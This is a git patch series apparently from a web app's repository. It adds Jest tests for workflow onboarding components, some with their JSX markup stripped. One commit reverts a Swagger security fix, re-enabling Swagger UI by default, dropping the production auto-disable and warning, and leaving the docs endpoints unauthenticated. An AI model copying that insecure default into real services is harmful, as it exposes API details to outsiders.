expect(escKey.closest('kbd')).toHaveClass('system-kbd') + }) + + it('should have descriptive text for ESC functionality', () => { + // Arrange & Act + renderComponent({ isShow: true }) + + // Assert + expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument() + }) + + it('should have proper text color classes', () => { + // Arrange & Act + renderComponent() + + // Assert + const title = screen.getByText('workflow.onboarding.title') + expect(title).toHaveClass('text-text-primary') + }) + + it('should have underlined learn more link', () => { + // Arrange & Act + renderComponent() + + // Assert + const link = screen.getByText('workflow.onboarding.learnMore').closest('a') + expect(link).toHaveClass('underline') + expect(link).toHaveClass('cursor-pointer') + }) + }) + + // Integration Tests + describe('Integration', () => { + it('should complete full flow of selecting user input node', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Assert - Initial state + expect(screen.getByTestId('modal')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument() + expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument() + + // Act - Select user input + await user.click(screen.getByTestId('select-user-input')) + + // Assert - Callbacks called + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start) + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should complete full flow of selecting trigger node', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Assert - Initial state + expect(screen.getByTestId('modal')).toBeInTheDocument() + + // Act - Select trigger + await user.click(screen.getByTestId('select-trigger-webhook')) + + // Assert - Callbacks called with config + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' }) + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should render all components in correct hierarchy', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert - Modal is the root + expect(screen.getByTestId('modal')).toBeInTheDocument() + + // Assert - Header elements + const heading = container.querySelector('h3') + expect(heading).toBeInTheDocument() + + // Assert - Description with link + expect(screen.getByText('workflow.onboarding.learnMore').closest('a')).toBeInTheDocument() + + // Assert - Selection panel + expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument() + + // Assert - ESC tip + expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument() + }) + + it('should coordinate between keyboard and click interactions', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Click close button + await user.click(screen.getByTestId('modal-close-button')) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + + // Act - Clear and try ESC key + mockOnClose.mockClear() + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + }) +}) diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx new file mode 100644 index 0000000000..d8ef1a3149 --- /dev/null +++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx @@ -0,0 +1,348 @@ +import React from 'react' +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import StartNodeOption from './start-node-option' + +describe('StartNodeOption', () => { + const mockOnClick = jest.fn() + const defaultProps = { + icon:
Icon
, + title: 'Test Title', + description: 'Test description for the option', + onClick: mockOnClick, + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Helper function to render component + const renderComponent = (props = {}) => { + return render() + } + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('Test Title')).toBeInTheDocument() + }) + + it('should render icon correctly', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByTestId('test-icon')).toBeInTheDocument() + expect(screen.getByText('Icon')).toBeInTheDocument() + }) + + it('should render title correctly', () => { + // Arrange & Act + renderComponent() + + // Assert + const title = screen.getByText('Test Title') + expect(title).toBeInTheDocument() + expect(title).toHaveClass('system-md-semi-bold') + expect(title).toHaveClass('text-text-primary') + }) + + it('should render description correctly', () => { + // Arrange & Act + renderComponent() + + // Assert + const description = screen.getByText('Test description for the option') + expect(description).toBeInTheDocument() + expect(description).toHaveClass('system-xs-regular') + expect(description).toHaveClass('text-text-tertiary') + }) + + it('should be rendered as a clickable card', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const card = container.querySelector('.cursor-pointer') + expect(card).toBeInTheDocument() + // Check that it has cursor-pointer class to indicate clickability + expect(card).toHaveClass('cursor-pointer') + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should render with subtitle when provided', () => { + // Arrange & Act + renderComponent({ subtitle: 'Optional Subtitle' }) + + // Assert + expect(screen.getByText('Optional Subtitle')).toBeInTheDocument() + }) + + it('should not render subtitle when not provided', () => { + // Arrange & Act + renderComponent() + + // Assert + const titleElement = screen.getByText('Test Title').parentElement + expect(titleElement).not.toHaveTextContent('Optional Subtitle') + }) + + it('should render subtitle with correct styling', () => { + // Arrange & Act + renderComponent({ subtitle: 'Subtitle Text' }) + + // Assert + const subtitle = screen.getByText('Subtitle Text') + expect(subtitle).toHaveClass('system-md-regular') + expect(subtitle).toHaveClass('text-text-quaternary') + }) + + it('should render custom icon component', () => { + // Arrange + const customIcon = Custom + + // Act + renderComponent({ icon: customIcon }) + + // Assert + expect(screen.getByTestId('custom-svg')).toBeInTheDocument() + }) + + it('should render long title correctly', () => { + // Arrange + const longTitle = 'This is a very long title that should still render correctly' + + // Act + renderComponent({ title: longTitle }) + + // Assert + expect(screen.getByText(longTitle)).toBeInTheDocument() + }) + + it('should render long description correctly', () => { + // Arrange + const longDescription = 'This is a very long description that explains the option in great detail and should still render correctly within the component layout' + + // Act + renderComponent({ description: longDescription }) + + // Assert + expect(screen.getByText(longDescription)).toBeInTheDocument() + }) + + it('should render with proper layout structure', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('Test Title')).toBeInTheDocument() + expect(screen.getByText('Test description for the option')).toBeInTheDocument() + expect(screen.getByTestId('test-icon')).toBeInTheDocument() + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should call onClick when card is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]') + await user.click(card!) + + // Assert + expect(mockOnClick).toHaveBeenCalledTimes(1) + }) + + it('should call onClick when icon is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const icon = screen.getByTestId('test-icon') + await user.click(icon) + + // Assert + expect(mockOnClick).toHaveBeenCalledTimes(1) + }) + + it('should call onClick when title is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const title = screen.getByText('Test Title') + await user.click(title) + + // Assert + expect(mockOnClick).toHaveBeenCalledTimes(1) + }) + + it('should call onClick when description is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const description = screen.getByText('Test description for the option') + await user.click(description) + + // Assert + expect(mockOnClick).toHaveBeenCalledTimes(1) + }) + + it('should handle multiple rapid clicks', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]') + await user.click(card!) + await user.click(card!) + await user.click(card!) + + // Assert + expect(mockOnClick).toHaveBeenCalledTimes(3) + }) + + it('should not throw error if onClick is undefined', async () => { + // Arrange + const user = userEvent.setup() + renderComponent({ onClick: undefined }) + + // Act & Assert + const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]') + await expect(user.click(card!)).resolves.not.toThrow() + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle empty string title', () => { + // Arrange & Act + renderComponent({ title: '' }) + + // Assert + const titleContainer = screen.getByText('Test description for the option').parentElement?.parentElement + expect(titleContainer).toBeInTheDocument() + }) + + it('should handle empty string description', () => { + // Arrange & Act + renderComponent({ description: '' }) + + // Assert + expect(screen.getByText('Test Title')).toBeInTheDocument() + }) + + it('should handle undefined subtitle gracefully', () => { + // Arrange & Act + renderComponent({ subtitle: undefined }) + + // Assert + expect(screen.getByText('Test Title')).toBeInTheDocument() + }) + + it('should handle empty string subtitle', () => { + // Arrange & Act + renderComponent({ subtitle: '' }) + + // Assert + // Empty subtitle should still render but be empty + expect(screen.getByText('Test Title')).toBeInTheDocument() + }) + + it('should handle null subtitle', () => { + // Arrange & Act + renderComponent({ subtitle: null }) + + // Assert + expect(screen.getByText('Test Title')).toBeInTheDocument() + }) + + it('should render with subtitle containing special characters', () => { + // Arrange + const specialSubtitle = '(optional) - [Beta]' + + // Act + renderComponent({ subtitle: specialSubtitle }) + + // Assert + expect(screen.getByText(specialSubtitle)).toBeInTheDocument() + }) + + it('should render with title and subtitle together', () => { + // Arrange & Act + const { container } = renderComponent({ + title: 'Main Title', + subtitle: 'Secondary Text', + }) + + // Assert + expect(screen.getByText('Main Title')).toBeInTheDocument() + expect(screen.getByText('Secondary Text')).toBeInTheDocument() + + // Both should be in the same heading element + const heading = container.querySelector('h3') + expect(heading).toHaveTextContent('Main Title') + expect(heading).toHaveTextContent('Secondary Text') + }) + }) + + // Accessibility Tests + describe('Accessibility', () => { + it('should have semantic heading structure', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const heading = container.querySelector('h3') + expect(heading).toBeInTheDocument() + expect(heading).toHaveTextContent('Test Title') + }) + + it('should have semantic paragraph for description', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const paragraph = container.querySelector('p') + expect(paragraph).toBeInTheDocument() + expect(paragraph).toHaveTextContent('Test description for the option') + }) + + it('should have proper cursor style for accessibility', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const card = container.querySelector('.cursor-pointer') + expect(card).toBeInTheDocument() + expect(card).toHaveClass('cursor-pointer') + }) + }) + + // Additional Edge Cases + describe('Additional Edge Cases', () => { + it('should handle click when onClick handler is missing', async () => { + // Arrange + const user = userEvent.setup() + renderComponent({ onClick: undefined }) + + // Act & Assert - Should not throw error + const card = screen.getByText('Test Title').closest('div[class*="cursor-pointer"]') + await expect(user.click(card!)).resolves.not.toThrow() + }) + }) +}) diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx new file mode 100644 index 0000000000..5612d4e423 --- /dev/null +++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx @@ -0,0 +1,586 @@ +import React from 'react' +import { render, screen, waitFor } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import StartNodeSelectionPanel from './start-node-selection-panel' +import { BlockEnum } from '@/app/components/workflow/types' + +// Mock NodeSelector component +jest.mock('@/app/components/workflow/block-selector', () => { + return function MockNodeSelector({ + open, + onOpenChange, + onSelect, + trigger, + }: any) { + // trigger is a function that returns a React element + const triggerElement = typeof trigger === 'function' ? trigger() : trigger + + return ( +
+ {triggerElement} + {open && ( +
+ + + +
+ )} +
+ ) + } +}) + +// Mock icons +jest.mock('@/app/components/base/icons/src/vender/workflow', () => ({ + Home: () =>
Home
, + TriggerAll: () =>
TriggerAll
, +})) + +describe('StartNodeSelectionPanel', () => { + const mockOnSelectUserInput = jest.fn() + const mockOnSelectTrigger = jest.fn() + + const defaultProps = { + onSelectUserInput: mockOnSelectUserInput, + onSelectTrigger: mockOnSelectTrigger, + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Helper function to render component + const renderComponent = (props = {}) => { + return render() + } + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + }) + + it('should render user input option', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument() + expect(screen.getByTestId('home-icon')).toBeInTheDocument() + }) + + it('should render trigger option', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument() + expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument() + }) + + it('should render node selector component', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByTestId('node-selector')).toBeInTheDocument() + }) + + it('should have correct grid layout', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const grid = container.querySelector('.grid') + expect(grid).toBeInTheDocument() + expect(grid).toHaveClass('grid-cols-2') + expect(grid).toHaveClass('gap-4') + }) + + it('should not show trigger selector initially', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should accept onSelectUserInput prop', () => { + // Arrange + const customHandler = jest.fn() + + // Act + renderComponent({ onSelectUserInput: customHandler }) + + // Assert + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + }) + + it('should accept onSelectTrigger prop', () => { + // Arrange + const customHandler = jest.fn() + + // Act + renderComponent({ onSelectTrigger: customHandler }) + + // Assert + expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument() + }) + + it('should handle missing onSelectUserInput gracefully', () => { + // Arrange & Act + expect(() => { + renderComponent({ onSelectUserInput: undefined }) + }).not.toThrow() + + // Assert + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + }) + + it('should handle missing onSelectTrigger gracefully', () => { + // Arrange & Act + expect(() => { + renderComponent({ onSelectTrigger: undefined }) + }).not.toThrow() + + // Assert + expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument() + }) + }) + + // User Interactions - User Input Option + describe('User Interactions - User Input', () => { + it('should call onSelectUserInput when user input option is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + + // Assert + expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1) + }) + + it('should not call onSelectTrigger when user input option is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + + // Assert + expect(mockOnSelectTrigger).not.toHaveBeenCalled() + }) + + it('should handle multiple clicks on user input option', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + await user.click(userInputOption) + await user.click(userInputOption) + + // Assert + expect(mockOnSelectUserInput).toHaveBeenCalledTimes(3) + }) + }) + + // User Interactions - Trigger Option + describe('User Interactions - Trigger', () => { + it('should show trigger selector when trigger option is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Assert + await waitFor(() => { + expect(screen.getByTestId('node-selector-content')).toBeInTheDocument() + }) + }) + + it('should not call onSelectTrigger immediately when trigger option is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Assert + expect(mockOnSelectTrigger).not.toHaveBeenCalled() + }) + + it('should call onSelectTrigger when a trigger is selected from selector', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open trigger selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Act - Select a trigger + await waitFor(() => { + expect(screen.getByTestId('select-schedule')).toBeInTheDocument() + }) + const scheduleButton = screen.getByTestId('select-schedule') + await user.click(scheduleButton) + + // Assert + expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1) + expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined) + }) + + it('should call onSelectTrigger with correct node type for webhook', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open trigger selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Act - Select webhook trigger + await waitFor(() => { + expect(screen.getByTestId('select-webhook')).toBeInTheDocument() + }) + const webhookButton = screen.getByTestId('select-webhook') + await user.click(webhookButton) + + // Assert + expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1) + expect(mockOnSelectTrigger).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, undefined) + }) + + it('should hide trigger selector after selection', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open trigger selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Act - Select a trigger + await waitFor(() => { + expect(screen.getByTestId('select-schedule')).toBeInTheDocument() + }) + const scheduleButton = screen.getByTestId('select-schedule') + await user.click(scheduleButton) + + // Assert - Selector should be hidden + await waitFor(() => { + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + }) + + it('should pass tool config parameter through onSelectTrigger', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open trigger selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Act - Select a trigger (our mock doesn't pass toolConfig, but real NodeSelector would) + await waitFor(() => { + expect(screen.getByTestId('select-schedule')).toBeInTheDocument() + }) + const scheduleButton = screen.getByTestId('select-schedule') + await user.click(scheduleButton) + + // Assert - Verify handler was called + // In real usage, NodeSelector would pass toolConfig as second parameter + expect(mockOnSelectTrigger).toHaveBeenCalled() + }) + }) + + // State Management + describe('State Management', () => { + it('should toggle trigger selector visibility', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Assert - Initially hidden + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + + // Act - Show selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Assert - Now visible + await waitFor(() => { + expect(screen.getByTestId('node-selector-content')).toBeInTheDocument() + }) + + // Act - Close selector + const closeButton = screen.getByTestId('close-selector') + await user.click(closeButton) + + // Assert - Hidden again + await waitFor(() => { + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + }) + + it('should maintain state across user input selections', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Click user input multiple times + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + await user.click(userInputOption) + + // Assert - Trigger selector should remain hidden + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + + it('should reset trigger selector visibility after selection', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open and select trigger + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + await waitFor(() => { + expect(screen.getByTestId('select-schedule')).toBeInTheDocument() + }) + const scheduleButton = screen.getByTestId('select-schedule') + await user.click(scheduleButton) + + // Assert - Selector should be closed + await waitFor(() => { + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + + // Act - Click trigger option again + await user.click(triggerOption) + + // Assert - Selector should open again + await waitFor(() => { + expect(screen.getByTestId('node-selector-content')).toBeInTheDocument() + }) + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle rapid clicks on trigger option', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + await user.click(triggerOption) + await user.click(triggerOption) + + // Assert - Should still be open (last click) + await waitFor(() => { + expect(screen.getByTestId('node-selector-content')).toBeInTheDocument() + }) + }) + + it('should handle selecting different trigger types in sequence', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open and select schedule + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + await waitFor(() => { + expect(screen.getByTestId('select-schedule')).toBeInTheDocument() + }) + await user.click(screen.getByTestId('select-schedule')) + + // Assert + expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(1, BlockEnum.TriggerSchedule, undefined) + + // Act - Open again and select webhook + await user.click(triggerOption) + await waitFor(() => { + expect(screen.getByTestId('select-webhook')).toBeInTheDocument() + }) + await user.click(screen.getByTestId('select-webhook')) + + // Assert + expect(mockOnSelectTrigger).toHaveBeenNthCalledWith(2, BlockEnum.TriggerWebhook, undefined) + expect(mockOnSelectTrigger).toHaveBeenCalledTimes(2) + }) + + it('should not crash with undefined callbacks', async () => { + // Arrange + const user = userEvent.setup() + renderComponent({ + onSelectUserInput: undefined, + onSelectTrigger: undefined, + }) + + // Act & Assert - Should not throw + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await expect(user.click(userInputOption)).resolves.not.toThrow() + }) + + it('should handle opening and closing selector without selection', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Open selector + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Act - Close without selecting + await waitFor(() => { + expect(screen.getByTestId('close-selector')).toBeInTheDocument() + }) + await user.click(screen.getByTestId('close-selector')) + + // Assert - No selection callback should be called + expect(mockOnSelectTrigger).not.toHaveBeenCalled() + + // Assert - Selector should be closed + await waitFor(() => { + expect(screen.queryByTestId('node-selector-content')).not.toBeInTheDocument() + }) + }) + }) + + // Accessibility Tests + describe('Accessibility', () => { + it('should have both options visible and accessible', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeVisible() + expect(screen.getByText('workflow.onboarding.trigger')).toBeVisible() + }) + + it('should have descriptive text for both options', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.userInputDescription')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.triggerDescription')).toBeInTheDocument() + }) + + it('should have icons for visual identification', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByTestId('home-icon')).toBeInTheDocument() + expect(screen.getByTestId('trigger-all-icon')).toBeInTheDocument() + }) + + it('should maintain focus after interactions', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + + // Assert - Component should still be in document + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument() + }) + }) + + // Integration Tests + describe('Integration', () => { + it('should coordinate between both options correctly', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act - Click user input + const userInputOption = screen.getByText('workflow.onboarding.userInputFull') + await user.click(userInputOption) + + // Assert + expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1) + expect(mockOnSelectTrigger).not.toHaveBeenCalled() + + // Act - Click trigger + const triggerOption = screen.getByText('workflow.onboarding.trigger') + await user.click(triggerOption) + + // Assert - Trigger selector should open + await waitFor(() => { + expect(screen.getByTestId('node-selector-content')).toBeInTheDocument() + }) + + // Act - Select trigger + await user.click(screen.getByTestId('select-schedule')) + + // Assert + expect(mockOnSelectTrigger).toHaveBeenCalledTimes(1) + expect(mockOnSelectUserInput).toHaveBeenCalledTimes(1) + }) + + it('should render all components in correct hierarchy', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const grid = container.querySelector('.grid') + expect(grid).toBeInTheDocument() + + // Both StartNodeOption components should be rendered + expect(screen.getByText('workflow.onboarding.userInputFull')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.trigger')).toBeInTheDocument() + + // NodeSelector should be rendered + expect(screen.getByTestId('node-selector')).toBeInTheDocument() + }) + }) +}) From a915b8a584e8c51851e81e20551dd0c03fb56bb6 Mon Sep 17 00:00:00 2001 From: crazywoola <100913391+crazywoola@users.noreply.github.com> Date: Tue, 16 Dec 2025 14:19:33 +0800 Subject: [PATCH 21/38] revert: "security/fix-swagger-info-leak-m02" (#29721) --- api/.env.example | 12 +----------- api/configs/feature/__init__.py | 33 +++------------------------------ api/extensions/ext_login.py | 4 ++-- api/libs/external_api.py | 20 ++------------------ 4 files changed, 8 insertions(+), 61 deletions(-) diff --git a/api/.env.example b/api/.env.example index 8c4ea617d4..ace4c4ea1b 100644 --- a/api/.env.example +++ b/api/.env.example @@ -626,17 +626,7 @@ QUEUE_MONITOR_ALERT_EMAILS= QUEUE_MONITOR_INTERVAL=30 # Swagger UI configuration -# SECURITY: Swagger UI is automatically disabled in PRODUCTION environment (DEPLOY_ENV=PRODUCTION) -# to prevent API information disclosure. -# -# Behavior: -# - DEPLOY_ENV=PRODUCTION + SWAGGER_UI_ENABLED not set -> Swagger DISABLED (secure default) -# - DEPLOY_ENV=DEVELOPMENT/TESTING + SWAGGER_UI_ENABLED not set -> Swagger ENABLED -# - SWAGGER_UI_ENABLED=true -> Swagger ENABLED (overrides environment check) -# - SWAGGER_UI_ENABLED=false -> Swagger DISABLED (explicit disable) -# -# For development, you can uncomment below or set DEPLOY_ENV=DEVELOPMENT -# SWAGGER_UI_ENABLED=false +SWAGGER_UI_ENABLED=true SWAGGER_UI_PATH=/swagger-ui.html # Whether to encrypt dataset IDs when exporting DSL files (default: true) diff --git a/api/configs/feature/__init__.py b/api/configs/feature/__init__.py index b9091b5e2f..e16ca52f46 100644 --- a/api/configs/feature/__init__.py +++ b/api/configs/feature/__init__.py @@ -1252,19 +1252,9 @@ class WorkflowLogConfig(BaseSettings): class SwaggerUIConfig(BaseSettings): - """ - Configuration for Swagger UI documentation. - - Security Note: Swagger UI is automatically disabled in PRODUCTION environment - to prevent API information disclosure. Set SWAGGER_UI_ENABLED=true explicitly - to enable in production if needed. - """ - - SWAGGER_UI_ENABLED: bool | None = Field( - description="Whether to enable Swagger UI in api module. " - "Automatically disabled in PRODUCTION environment for security. " - "Set to true explicitly to enable in production.", - default=None, + SWAGGER_UI_ENABLED: bool = Field( + description="Whether to enable Swagger UI in api module", + default=True, ) SWAGGER_UI_PATH: str = Field( @@ -1272,23 +1262,6 @@ class SwaggerUIConfig(BaseSettings): default="/swagger-ui.html", ) - @property - def swagger_ui_enabled(self) -> bool: - """ - Compute whether Swagger UI should be enabled. - - If SWAGGER_UI_ENABLED is explicitly set, use that value. - Otherwise, disable in PRODUCTION environment for security. - """ - if self.SWAGGER_UI_ENABLED is not None: - return self.SWAGGER_UI_ENABLED - - # Auto-disable in production environment - import os - - deploy_env = os.environ.get("DEPLOY_ENV", "PRODUCTION") - return deploy_env.upper() != "PRODUCTION" - class TenantIsolatedTaskQueueConfig(BaseSettings): TENANT_ISOLATED_TASK_CONCURRENCY: int = Field( diff --git a/api/extensions/ext_login.py b/api/extensions/ext_login.py index 5cbdd4db12..74299956c0 100644 --- a/api/extensions/ext_login.py +++ b/api/extensions/ext_login.py @@ -22,8 +22,8 @@ login_manager = flask_login.LoginManager() @login_manager.request_loader def load_user_from_request(request_from_flask_login): """Load user based on the request.""" - # Skip authentication for documentation endpoints (only when Swagger is enabled) - if dify_config.swagger_ui_enabled and request.path.endswith((dify_config.SWAGGER_UI_PATH, "/swagger.json")): + # Skip authentication for documentation endpoints + if dify_config.SWAGGER_UI_ENABLED and request.path.endswith((dify_config.SWAGGER_UI_PATH, "/swagger.json")): return None auth_token = extract_access_token(request) diff --git a/api/libs/external_api.py b/api/libs/external_api.py index 31ca2b3e08..61a90ee4a9 100644 --- a/api/libs/external_api.py +++ b/api/libs/external_api.py @@ -131,28 +131,12 @@ class ExternalApi(Api): } def __init__(self, app: Blueprint | Flask, *args, **kwargs): - import logging - import os - kwargs.setdefault("authorizations", self._authorizations) kwargs.setdefault("security", "Bearer") - - # Security: Use computed swagger_ui_enabled which respects DEPLOY_ENV - swagger_enabled = dify_config.swagger_ui_enabled - kwargs["add_specs"] = swagger_enabled - kwargs["doc"] = dify_config.SWAGGER_UI_PATH if swagger_enabled else False + kwargs["add_specs"] = dify_config.SWAGGER_UI_ENABLED + kwargs["doc"] = dify_config.SWAGGER_UI_PATH if dify_config.SWAGGER_UI_ENABLED else False # manual separate call on construction and init_app to ensure configs in kwargs effective super().__init__(app=None, *args, **kwargs) self.init_app(app, **kwargs) register_external_error_handlers(self) - - # Security: Log warning when Swagger is enabled in production environment - deploy_env = os.environ.get("DEPLOY_ENV", "PRODUCTION") - if swagger_enabled and deploy_env.upper() == "PRODUCTION": - logger = logging.getLogger(__name__) - logger.warning( - "SECURITY WARNING: Swagger UI is ENABLED in PRODUCTION environment. " - "This may expose sensitive API documentation. " - "Set SWAGGER_UI_ENABLED=false or remove the explicit setting to disable." - ) From 240e1d155ae00ad0c8f9236d2a1285b7b4b0ad85 Mon Sep 17 00:00:00 2001 From: yyh <92089059+lyzno1@users.noreply.github.com> Date: Tue, 16 Dec 2025 14:21:05 +0800 Subject: [PATCH 22/38] test: add comprehensive tests for CustomizeModal component (#29709) --- web/AGENTS.md | 1 + web/CLAUDE.md | 1 + web/app/components/app/overview/app-card.tsx | 1 - .../app/overview/customize/index.spec.tsx | 434 ++++++++++++++++++ .../app/overview/customize/index.tsx | 1 - 5 files changed, 436 insertions(+), 2 deletions(-) create mode 120000 web/CLAUDE.md create mode 100644 web/app/components/app/overview/customize/index.spec.tsx diff --git a/web/AGENTS.md b/web/AGENTS.md index 70e251b738..7362cd51db 100644 --- a/web/AGENTS.md +++ b/web/AGENTS.md @@ -2,3 +2,4 @@ - Use `web/testing/testing.md` as the canonical instruction set for generating frontend automated tests. - When proposing or saving tests, re-read that document and follow every requirement. +- All frontend tests MUST also comply with the `frontend-testing` skill. Treat the skill as a mandatory constraint, not optional guidance. diff --git a/web/CLAUDE.md b/web/CLAUDE.md new file mode 120000 index 0000000000..47dc3e3d86 --- /dev/null +++ b/web/CLAUDE.md @@ -0,0 